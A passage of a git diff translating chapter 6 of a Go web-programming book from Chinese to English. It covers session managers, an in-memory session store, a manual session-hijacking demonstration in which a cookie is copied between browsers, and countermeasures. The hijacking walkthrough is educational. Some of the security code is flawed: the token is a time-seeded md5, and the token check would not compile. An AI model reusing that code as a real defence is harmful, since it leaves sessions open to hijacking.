Go实现session管理 +通过上面session创建过程的讲解,读者应该对session有了一个大体的认识,但是具体到动态页面技术里面,又是怎么实现session的呢?下面我们将结合session的生命周期(lifecycle),来实现go语言版本的session管理。 + +### session管理设计 +我们知道session管理涉及到如下几个因素 + +- 全局session管理器 +- 保证sessionid 的全局唯一性 +- 为每个客户关联一个session +- session 的存储(可以存储到内存、文件、数据库等) +- session 过期处理 + +接下来我将讲解一下我关于session管理的整个设计思路以及相应的go代码示例: + +### Session管理器 + +定义一个全局的session管理器 + + type Manager struct { + cookieName string //private cookiename + lock sync.Mutex // protects session + provider Provider + maxlifetime int64 + } + + func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil + } + +Go实现整个的流程应该也是这样的,在main包中创建一个全局的session管理器 + + var globalSessions *session.Manager + //然后在init函数中初始化 + func init() { + globalSessions, _ = NewManager("memory","gosessionid",3600) + } + +我们知道session是保存在服务器端的数据,它可以以任何的方式存储,比如存储在内存、数据库或者文件中。因此我们抽象出一个Provider接口,用以表征session管理器底层存储结构。 + + type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) + } + +- SessionInit函数实现Session的初始化,操作成功则返回此新的Session变量 +- SessionRead函数返回sid所代表的Session变量,如果不存在,那么将以sid为参数调用SessionInit函数创建并返回一个新的Session变量 +- SessionDestroy函数用来销毁sid对应的Session变量 +- SessionGC根据maxLifeTime来删除过期的数据 + +那么Session接口需要实现什么样的功能呢?有过Web开发经验的读者知道,对Session的处理基本就 设置值、读取值、删除值以及获取当前sessionID这四个操作,所以我们的Session接口也就实现这四个操作。 + + type Session interface { + Set(key, value interface{}) error //set session value + Get(key interface{}) interface{} //get session value + Delete(key interface{}) error //delete session value + SessionID() string //back current sessionID + } + +>以上设计思路来源于database/sql/driver,先定义好接口,然后具体的存储session的结构实现相应的接口并注册后,相应功能这样就可以使用了,以下是用来随需注册存储session的结构的Register函数的实现。 + + var provides = make(map[string]Provider) + + // Register makes a session provide available by the provided name. + // If Register is called twice with the same name or if driver is nil, + // it panics. + func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provide is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provide " + name) + } + provides[name] = provider + } + +### 全局唯一的Session ID + +Session ID是用来识别访问Web应用的每一个用户,因此必须保证它是全局唯一的(GUID),下面代码展示了如何满足这一需求: + + func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) + } + +### session创建 +我们需要为每个来访用户分配或获取与他相关连的Session,以便后面根据Session信息来验证操作。SessionStart这个函数就是用来检测是否已经有某个Session与当前来访用户发生了关联,如果没有则创建之。 + + func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return + } + +我们用前面login操作来演示session的运用: + + func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } + } + +### 操作值:设置、读取和删除 +SessionStart函数返回的是一个满足Session接口的变量,那么我们该如何用他来对session数据进行操作呢? + +上面的例子中的代码`session.Get("uid")`已经展示了基本的读取数据的操作,现在我们再来看一下详细的操作: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +通过上面的例子可以看到,Session的操作和操作key/value数据库类似:Set、Get、Delete等操作 + +因为Session有过期的概念,所以我们定义了GC操作,当访问过期时间满足GC的触发条件后将会引起GC,但是当我们进行了任意一个session操作,都会对Session实体进行更新,都会触发对最后访问时间的修改,这样当GC的时候就不会误删除还在使用的Session实体。 + +### session重置 +我们知道,Web应用中有用户退出这个操作,那么当用户退出应用的时候,我们需要对该用户的session数据进行销毁操作,上面的代码已经演示了如何使用session重置操作,下面这个函数就是实现了这个功能: + + //Destroy sessionid + func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } + } + + +### session销毁 +我们来看一下Session管理器如何来管理销毁,只要我们在Main启动的时候启动: + + func init() { + go globalSessions.GC() + } + + func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxlifetime) + time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) + } + +我们可以看到GC充分利用了time包中的定时器功能,当超时`maxLifeTime`之后调用GC函数,这样就可以保证`maxLifeTime`时间内的session都是可用的,类似的方案也可以用于统计在线用户数之类的。 + +## 总结 +至此 我们实现了一个用来在Web应用中全局管理Session的SessionManager,定义了用来提供Session存储实现Provider的接口,下一小节,我们将会通过接口定义来实现一些Provider,供大家参考学习。 + +## links + * [目录]() + * 上一节: [session和cookie](<06.1.md>) + * 下一节: [session存储](<06.3.md>) diff --git a/en/06.3.md b/en/06.3.md index 99a31c75..64ae232a 100644 --- a/en/06.3.md +++ b/en/06.3.md @@ -1,137 +1,139 @@ -# 6.3 session存储 -上一节我们介绍了Session管理器的实现原理,定义了存储session的接口,这小节我们将示例一个基于内存的session存储接口的实现,其他的存储方式,读者可以自行参考示例来实现,内存的实现请看下面的例子代码 - - package memory - - import ( - "container/list" - "github.com/astaxie/session" - "sync" - "time" - ) - - var pder = &Provider{list: list.New()} - - type SessionStore struct { - sid string //session id唯一标示 - timeAccessed time.Time //最后访问时间 - value map[interface{}]interface{} //session里面存储的值 - } - - func (st *SessionStore) Set(key, value interface{}) error { - st.value[key] = value - pder.SessionUpdate(st.sid) - return nil - } - - func (st *SessionStore) Get(key interface{}) interface{} { - pder.SessionUpdate(st.sid) - if v, ok := st.value[key]; ok { - return v - } else { - return nil - } - return nil - } - - func (st *SessionStore) Delete(key interface{}) error { - delete(st.value, key) - pder.SessionUpdate(st.sid) - return nil - } - - func (st *SessionStore) SessionID() string { - return st.sid - } - - type Provider struct { - lock sync.Mutex //用来锁 - sessions map[string]*list.Element //用来存储在内存 - list *list.List //用来做gc - } - - func (pder *Provider) SessionInit(sid string) (session.Session, error) { - pder.lock.Lock() - defer pder.lock.Unlock() - v := make(map[interface{}]interface{}, 0) - newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} - element := pder.list.PushBack(newsess) - pder.sessions[sid] = element - return newsess, nil - } - - func (pder *Provider) SessionRead(sid string) (session.Session, error) { - if element, ok := pder.sessions[sid]; ok { - return element.Value.(*SessionStore), nil - } else { - sess, err := pder.SessionInit(sid) - return sess, err - } - return nil, nil - } - - func (pder *Provider) SessionDestroy(sid string) error { - if element, ok := pder.sessions[sid]; ok { - delete(pder.sessions, sid) - pder.list.Remove(element) - return nil - } - return nil - } - - func (pder *Provider) SessionGC(maxlifetime int64) { - pder.lock.Lock() - defer pder.lock.Unlock() - - for { - element := pder.list.Back() - if element == nil { - break - } - if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { - pder.list.Remove(element) - delete(pder.sessions, element.Value.(*SessionStore).sid) - } else { - break - } - } - } - - func (pder *Provider) SessionUpdate(sid string) error { - pder.lock.Lock() - defer pder.lock.Unlock() - if element, ok := pder.sessions[sid]; ok { - element.Value.(*SessionStore).timeAccessed = time.Now() - pder.list.MoveToFront(element) - return nil - } - return nil - } - - func init() { - pder.sessions = make(map[string]*list.Element, 0) - session.Register("memory", pder) - } - -上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢?请看下面的代码 - - import ( - "github.com/astaxie/session" - _ "github.com/astaxie/session/providers/memory" - ) - -当import的时候已经执行了memory函数里面的init函数,这样就已经注册到session管理器中,我们就可以使用了,通过如下方式就可以初始化一个session管理器: - - var globalSessions *session.Manager - - //然后在init函数中初始化 - func init() { - globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) - go globalSessions.GC() - } - - -## links - * [目录]() - * 上一节: [Go如何使用session](<06.2.md>) - * 下一节: [预防session劫持](<06.4.md>) +# 6.3 Session storage + +We introduced a simple session manager's working principles in the previous section, and among other things, we defined a session storage interface. In this section, I'm going to show you an example of a memory based session storage engine that implements this interface. You can tailor this to other forms of session storage as well. + + package memory + + import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" + ) + + var pder = &Provider{list: list.New()} + + type SessionStore struct { + sid string // unique session id + timeAccessed time.Time // last access time + value map[interface{}]interface{} // session value stored inside + } + + func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } + return nil + } + + func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) SessionID() string { + return st.sid + } + + type Provider struct { + lock sync.Mutex // lock + sessions map[string]*list.Element // save in memory + list *list.List // gc + } + + func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil + } + + func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil + } + + func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil + } + + func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } + } + + func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil + } + + func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) + } + + +The above example implemented a memory based session storage mechanism. It uses its `init()` function to register this storage engine to the session manager. So how do we register this engine from our main program? + + import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" + ) + +We use the blank import mechanism (which will invoke the package's `init()` function automatically) to register this engine to a session manager. We then use the following code to initialize the session manager: + + var globalSessions *session.Manager + + // initialize in init() function + func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() + } + +## Links + +- [Directory](preface.md) +- Previous section: [How to use sessions in Go](06.2.md) +- Next section: [Prevent session hijacking](06.4.md) diff --git a/en/06.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/06.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..5ffa3d8d --- /dev/null +++ b/en/06.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,137 @@ +# 6.3 session存储 +上一节我们介绍了Session管理器的实现原理,定义了存储session的接口,这小节我们将示例一个基于内存的session存储接口的实现,其他的存储方式,读者可以自行参考示例来实现,内存的实现请看下面的例子代码 + + package memory + + import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" + ) + + var pder = &Provider{list: list.New()} + + type SessionStore struct { + sid string //session id唯一标示 + timeAccessed time.Time //最后访问时间 + value map[interface{}]interface{} //session里面存储的值 + } + + func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } + return nil + } + + func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) SessionID() string { + return st.sid + } + + type Provider struct { + lock sync.Mutex //用来锁 + sessions map[string]*list.Element //用来存储在内存 + list *list.List //用来做gc + } + + func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil + } + + func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil + } + + func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil + } + + func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } + } + + func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil + } + + func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) + } + +上面这个代码实现了一个内存存储的session机制。通过init函数注册到session管理器中。这样就可以方便的调用了。我们如何来调用该引擎呢?请看下面的代码 + + import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" + ) + +当import的时候已经执行了memory函数里面的init函数,这样就已经注册到session管理器中,我们就可以使用了,通过如下方式就可以初始化一个session管理器: + + var globalSessions *session.Manager + + //然后在init函数中初始化 + func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() + } + + +## links + * [目录]() + * 上一节: [Go如何使用session](<06.2.md>) + * 下一节: [预防session劫持](<06.4.md>) diff --git a/en/06.4.md b/en/06.4.md index 51035503..beeed381 100644 --- a/en/06.4.md +++ b/en/06.4.md @@ -1,89 +1,93 @@ -# 6.4 预防session劫持 -session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。 - -本节将通过一个实例来演示会话劫持,希望通过这个实例,能让读者更好地理解session的本质。 -## session劫持过程 -我们写了如下的代码来展示一个count计数器: - - func count(w http.ResponseWriter, r *http.Request) { - sess := globalSessions.SessionStart(w, r) - ct := sess.Get("countnum") - if ct == nil { - sess.Set("countnum", 1) - } else { - sess.Set("countnum", (ct.(int) + 1)) - } - t, _ := template.ParseFiles("count.gtpl") - w.Header().Set("Content-Type", "text/html") - t.Execute(w, sess.Get("countnum")) - } - - -count.gtpl的代码如下所示: - - Hi. Now count:{{.}} - -然后我们在浏览器里面刷新可以看到如下内容: - -![](images/6.4.hijack.png?raw=true) - -图6.4 浏览器端显示count数 - -随着刷新,数字将不断增长,当数字显示为6的时候,打开浏览器(以chrome为例)的cookie管理器,可以看到类似如下的信息: - - -![](images/6.4.cookie.png?raw=true) - -图6.5 获取浏览器端保存的cookie - -下面这个步骤最为关键: 打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件,新建一个cookie,把按上图中cookie内容原样在firefox中重建一份: - -![](images/6.4.setcookie.png?raw=true) - -图6.6 模拟cookie - -回车后,你将看到如下内容: - -![](images/6.4.hijacksuccess.png?raw=true) - -图6.7 劫持session成功 - -可以看到虽然换了浏览器,但是我们却获得了sessionID,然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的,不过即使换用两台来做,其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶,此处firefox盗用了chrome和goserver之间的维持会话的钥匙,即gosessionid,这是一种类型的“会话劫持”。在goserver看来,它从http请求中得到了一个gosessionid,由于HTTP协议的无状态性,它无法得知这个gosessionid是从chrome那里“劫持”来的,它依然会去查找对应的session,并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。 -## session劫持防范 -### cookieonly和token -通过上面session劫持的简单演示可以了解到session一旦被其他人劫持,就非常危险,劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢? - -其中一个解决方案就是sessionID的值只允许cookie设置,而不是通过URL重置方式设置,同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie,第一这个可以防止这个cookie被XSS读取从而引起session劫持,第二cookie设置不会像URL重置方式那么容易获取sessionID。 - -第二步就是在每个请求里面加上token,实现类似前面章节里面讲的防止form重复递交类似的功能,我们在每个请求里面加上一个隐藏的token,然后每次验证这个token,从而保证用户的请求都是唯一性。 - - h := md5.New() - salt:="astaxie%^7&8888" - io.WriteString(h,salt+time.Now().String()) - token:=fmt.Sprintf("%x",h.Sum(nil)) - if r.Form["token"]!=token{ - //提示登录 - } - sess.Set("token",token) - - -### 间隔生成新的SID -还有一个解决方案就是,我们给session额外设置一个创建时间的值,一旦过了一定的时间,我们销毁这个sessionID,重新生成新的session,这样可以一定程度上防止session劫持的问题。 - - createtime := sess.Get("createtime") - if createtime == nil { - sess.Set("createtime", time.Now().Unix()) - } else if (createtime.(int64) + 60) < (time.Now().Unix()) { - globalSessions.SessionDestroy(w, r) - sess = globalSessions.SessionStart(w, r) - } - -session启动后,我们设置了一个值,用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID,这样使得攻击者获取有效sessionID的机会大大降低。 - -上面两个手段的组合可以在实践中消除session劫持的风险,一方面, 由于sessionID频繁改变,使攻击者难有机会获取有效的sessionID;另一方面,因为sessionID只能在cookie中传递,然后设置了httponly,所以基于URL攻击的可能性为零,同时被XSS获取sessionID也不可能。最后,由于我们还设置了MaxAge=0,这样就相当于session cookie不会留在浏览器的历史记录里面。 - - -## links - * [目录]() - * 上一节: [session存储](<06.3.md>) - * 下一节: [小结](<06.5.md>) +# 6.4 Preventing session hijacking + +Session hijacking is a common yet serious security threat. Clients use session ids for validation and other purposes when communicating with servers. Unfortunately, malicious third parties can sometimes track these communications and figure out the client session id. + +In this section, we are going to show you how to hijack a session for educational purposes. + +## The session hijacking process + +The following code is a counter for the `count` variable: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +The content of `count.gtpl` is as follows: + + Hi. Now count:{{.}} + +We can see the following content in the browser: + +![](images/6.4.hijack.png?raw=true) + +Figure 6.4 count in browser. + +Keep refreshing until the number becomes 6, then open the browser's cookie manager (I use chrome here). You should be able to see the following information: + +![](images/6.4.cookie.png?raw=true) + +Figure 6.5 cookies saved in a browser. + +This step is very important: open another browser (I use firefox here), copy the URL to the new browser, open a cookie simulator to create a new cookie and input exactly the same value as the cookie we saw in our first browser. + +![](images/6.4.setcookie.png?raw=true) + +Figure 6.6 Simulate a cookie. + +Refresh the page and you'll see the following: + +![](images/6.4.hijacksuccess.png?raw=true) + +Figure 6.7 hijacking the session has succeeded. + +Here we see that we can hijack sessions between different browsers, and actions performed in one one browser can affect the state of a page in another browser. Because HTTP is stateless, there is no way of knowing that the session id from firefox is simulated, and chrome is also not able to know that its session id has been hijacked. + +## prevent session hijacking + +### cookie only and token + +Through this simple example of hijacking a session, you can see that it's very dangerous because it allows attackers to do whatever they want. So how can we prevent session hijacking? + +The first step is to only set session ids in cookies, instead of in URL rewrites. Also, we should set the httponly cookie property to true. This restricts client side scripts that want access to the session id. Using these techniques, cookies cannot be accessed by XSS and it won't be as easy as we showed to get a session id from a cookie manager. + +The second step is to add a token to every request. Similar to the way we dealt with repeat forms in previous sections, we add a hidden field that contains a token. When a request is sent to the server, we can verify this token to prove that the request is unique. + + h := md5.New() + salt:="astaxie%^7&8888" + io.WriteString(h,salt+time.Now().String()) + token:=fmt.Sprintf("%x",h.Sum(nil)) + if r.Form["token"]!=token{ + // ask to log in + } + sess.Set("token",token) + +### Session id timeout + +Another solution is to add a create time for every session, and to replace expired session ids with new ones. This can prevent session hijacking under certain circumstances. + + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + +We set a value to save the create time and check if it's expired (I set 60 seconds here). This step can often thwart session hijacking attempts. + +Combine the two solutions above and you will be able to prevent most session hijacking attempts from succeeding. On the one hand, session ids that are frequently reset will result in an attacker always getting expired and useless session ids; on the other hand, by setting the httponly property on cookies and ensuring that session ids can only be passed via cookies, all URL based attacks are mitigated. Finally, we set `MaxAge=0` on our cookies, which means that the session ids will not be saved in the browser history. + +## Links + +- [Directory](preface.md) +- Previous section: [Session storage](06.3.md) +- Next section: [Summary](06.5.md) diff --git a/en/06.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/06.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..6216c7a6 --- /dev/null +++ b/en/06.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,89 @@ +# 6.4 预防session劫持 +session劫持是一种广泛存在的比较严重的安全威胁,在session技术中,客户端和服务端通过session的标识符来维护会话, 但这个标识符很容易就能被嗅探到,从而被其他人利用.它是中间人攻击的一种类型。 + +本节将通过一个实例来演示会话劫持,希望通过这个实例,能让读者更好地理解session的本质。 +## session劫持过程 +我们写了如下的代码来展示一个count计数器: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + + +count.gtpl的代码如下所示: + + Hi. Now count:{{.}} + +然后我们在浏览器里面刷新可以看到如下内容: + +![](images/6.4.hijack.png?raw=true) + +图6.4 浏览器端显示count数 + +随着刷新,数字将不断增长,当数字显示为6的时候,打开浏览器(以chrome为例)的cookie管理器,可以看到类似如下的信息: + + +![](images/6.4.cookie.png?raw=true) + +图6.5 获取浏览器端保存的cookie + +下面这个步骤最为关键: 打开另一个浏览器(这里我打开了firefox浏览器),复制chrome地址栏里的地址到新打开的浏览器的地址栏中。然后打开firefox的cookie模拟插件,新建一个cookie,把按上图中cookie内容原样在firefox中重建一份: + +![](images/6.4.setcookie.png?raw=true) + +图6.6 模拟cookie + +回车后,你将看到如下内容: + +![](images/6.4.hijacksuccess.png?raw=true) + +图6.7 劫持session成功 + +可以看到虽然换了浏览器,但是我们却获得了sessionID,然后模拟了cookie存储的过程。这个例子是在同一台计算机上做的,不过即使换用两台来做,其结果仍然一样。此时如果交替点击两个浏览器里的链接你会发现它们其实操纵的是同一个计数器。不必惊讶,此处firefox盗用了chrome和goserver之间的维持会话的钥匙,即gosessionid,这是一种类型的“会话劫持”。在goserver看来,它从http请求中得到了一个gosessionid,由于HTTP协议的无状态性,它无法得知这个gosessionid是从chrome那里“劫持”来的,它依然会去查找对应的session,并执行相关计算。与此同时 chrome也无法得知自己保持的会话已经被“劫持”。 +## session劫持防范 +### cookieonly和token +通过上面session劫持的简单演示可以了解到session一旦被其他人劫持,就非常危险,劫持者可以假装成被劫持者进行很多非法操作。那么如何有效的防止session劫持呢? + +其中一个解决方案就是sessionID的值只允许cookie设置,而不是通过URL重置方式设置,同时设置cookie的httponly为true,这个属性是设置是否可通过客户端脚本访问这个设置的cookie,第一这个可以防止这个cookie被XSS读取从而引起session劫持,第二cookie设置不会像URL重置方式那么容易获取sessionID。 + +第二步就是在每个请求里面加上token,实现类似前面章节里面讲的防止form重复递交类似的功能,我们在每个请求里面加上一个隐藏的token,然后每次验证这个token,从而保证用户的请求都是唯一性。 + + h := md5.New() + salt:="astaxie%^7&8888" + io.WriteString(h,salt+time.Now().String()) + token:=fmt.Sprintf("%x",h.Sum(nil)) + if r.Form["token"]!=token{ + //提示登录 + } + sess.Set("token",token) + + +### 间隔生成新的SID +还有一个解决方案就是,我们给session额外设置一个创建时间的值,一旦过了一定的时间,我们销毁这个sessionID,重新生成新的session,这样可以一定程度上防止session劫持的问题。 + + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + +session启动后,我们设置了一个值,用于记录生成sessionID的时间。通过判断每次请求是否过期(这里设置了60秒)定期生成新的ID,这样使得攻击者获取有效sessionID的机会大大降低。 + +上面两个手段的组合可以在实践中消除session劫持的风险,一方面, 由于sessionID频繁改变,使攻击者难有机会获取有效的sessionID;另一方面,因为sessionID只能在cookie中传递,然后设置了httponly,所以基于URL攻击的可能性为零,同时被XSS获取sessionID也不可能。最后,由于我们还设置了MaxAge=0,这样就相当于session cookie不会留在浏览器的历史记录里面。 + + +## links + * [目录]() + * 上一节: [session存储](<06.3.md>) + * 下一节: [小结](<06.5.md>) diff --git a/en/06.5.md b/en/06.5.md index 30a42f2e..45281518 100644 --- a/en/06.5.md +++ b/en/06.5.md @@ -1,6 +1,9 @@ -# 6.5 小结 -这章我们学习了什么是session,什么是cookie,以及他们两者之间的关系。但是目前Go官方标准包里面不支持session,所以我们设计了一个session管理器,实现了session从创建到销毁的整个过程。然后定义了Provider的接口,使得可以支持各种后端的session存储,然后我们在第三小节里面介绍了如何使用内存存储来实现session的管理。第四小节我们讲解了session劫持的过程,以及我们如何有效的来防止session劫持。通过这一章的讲解,希望能够让读者了解整个sesison的执行原理以及如何实现,而且是如何更加安全的使用session。 -## links - * [目录]() - * 上一节: [session存储](<06.4.md>) - * 下一章: [文本处理](<07.0.md>) +# 6.5 Summary + +In this chapter, we learned about the definition and purpose of sessions and cookies, and the relationship between the two. Since Go doesn't support sessions in its standard library, we also designed our own session manager. We went through the everything from creating client sessions to deleting them. We then defined an interface called `Provider` which supports all session storage structures. In section 6.3, we implemented a memory based session manager to persist client data across sessions. In section 6.4, I show you one way of hijacking a session. Then we looked at how to prevent your own sessions from being hijacked. I hope that you now understand most of the working principles behind sessions so that you're able to safely use them in your applications. + +## Links + +- [Directory](preface.md) +- Previous section: [Prevent session hijacking](06.4.md) +- Next chapter: [Text files](07.0.md) diff --git a/en/06.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/06.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..b075e4f2 --- /dev/null +++ b/en/06.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,6 @@ +# 6.5 小结 +这章我们学习了什么是session,什么是cookie,以及他们两者之间的关系。但是目前Go官方标准包里面不支持session,所以我们设计了一个session管理器,实现了session从创建到销毁的整个过程。然后定义了Provider的接口,使得可以支持各种后端的session存储,然后我们在第三小节里面介绍了如何使用内存存储来实现session的管理。第四小节我们讲解了session劫持的过程,以及我们如何有效的来防止session劫持。通过这一章的讲解,希望能够让读者了解整个sesison的执行原理以及如何实现,而且是如何更加安全的使用session。 +## links + * [目录]() + * 上一节: [session存储](<06.4.md>) + * 下一章: [文本处理](<07.0.md>) diff --git a/en/07.0.md b/en/07.0.md index ff8eea8f..d6aba41b 100644 --- a/en/07.0.md +++ b/en/07.0.md @@ -1,12 +1,11 @@ -# 7 文本处理 